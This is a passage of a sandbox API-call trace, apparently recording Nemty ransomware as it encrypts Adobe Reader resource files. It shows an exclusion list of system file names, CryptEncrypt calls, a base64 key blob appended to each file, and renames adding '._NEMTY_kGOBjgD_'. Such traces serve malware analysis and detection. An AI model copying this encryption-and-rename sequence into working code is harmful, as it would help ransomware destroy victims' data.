lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.673] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6d70, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6d70, lpOverlapped=0x0) returned 1 [0215.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.673] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28020, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d74 [0215.673] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.673] CloseHandle (hObject=0x2e8) returned 1 [0215.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.674] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt._nemty_kgobjgd_")) returned 1 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.675] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d74, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.fi_FI.txt", cAlternateFileName="DI7250~1.TXT")) returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2=".") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="..") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="...") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="windows") returned -1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="rsa") returned -1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="NTDETECT.COM") returned -1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="ntldr") returned -1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="MSDOS.SYS") returned -1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="IO.SYS") returned -1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="boot.ini") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="boot.ini") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="ntuser.dat") returned -1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="desktop.ini") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="CONFIG.SYS") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="RECYCLER") returned -1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="bootmgr") returned 1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="programdata") returned -1 [0215.675] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI.txt", lpString2="appdata") returned 1 [0215.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi_FI.txt", lpUsedDefaultChar=0x0) returned 30 [0215.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi_FI.txt", lpUsedDefaultChar=0x0) returned 30 [0215.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi_FI.txt", lpUsedDefaultChar=0x0) returned 30 [0215.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi_FI.txt", lpUsedDefaultChar=0x0) returned 30 [0215.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.676] Sleep (dwMilliseconds=0x5) [0215.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3431e610, dwHighDateTime=0x1d561e8)) [0215.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3431e610, dwHighDateTime=0x1d561e8)) [0215.683] GetLastError () returned 0x0 [0215.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.683] GetLastError () returned 0x0 [0215.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.684] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.684] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.684] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.684] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="LjBB/cMr6BJlSEU+qqjyxXMpQZsGvjMmf94jTrXQJnFkNg5BKthpERkBldrW+5dY\r\nrudzbxnQsS1ZtaDb3T28/MlIpGcj/sHCL/dwN51qEjoCIebWlCcrBUT5VhrmiyGT\r\nQRijbgtjuWYCQTTwwx6PqsEynYAfcWiKPIAAZLG7lb3xsWG85kgXJTq32cacpaUl\r\nbINFNO2vDSOBTkDw9jVT4i67mjgK67qIx+oJ5CzISdsFdX7DU5KrcVFd72cl9tcW\r\n9ZfwnKD1dE10pGiw/pd9zCBMC3y2dichA0nxc1HI/hNwAZPcnYY1dYRHOOX9oxYR\r\nIHh7y+1qzF4yvYyaBYKrMw==\r\n", pcchString=0x653e5dc) returned 1 [0215.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.684] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28020) returned 1 [0215.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6d70) returned 0x6352c48 [0215.685] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.685] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6d70, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6d70, lpOverlapped=0x0) returned 1 [0215.688] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.688] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6d70, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6d70, lpOverlapped=0x0) returned 1 [0215.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.688] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28020, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d74 [0215.688] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.688] CloseHandle (hObject=0x2e8) returned 1 [0215.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.689] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt._nemty_kgobjgd_")) returned 1 [0215.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.690] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d7a, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.fi_FI_PREEURO.txt", cAlternateFileName="DI4571~1.TXT")) returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2=".") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="..") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="...") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="windows") returned -1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="rsa") returned -1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="NTDETECT.COM") returned -1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="ntldr") returned -1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="MSDOS.SYS") returned -1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="IO.SYS") returned -1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="ntuser.dat") returned -1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="desktop.ini") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="CONFIG.SYS") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="RECYCLER") returned -1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="bootmgr") returned 1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="programdata") returned -1 [0215.690] lstrcmpiW (lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt", lpString2="appdata") returned 1 [0215.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi_FI_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x63400a0 [0215.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi_FI_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400a0 | out: hHeap=0x4f90000) returned 1 [0215.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi_FI_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0215.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi_FI_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.691] HeapFree (in: hHeap=0x4f90000, 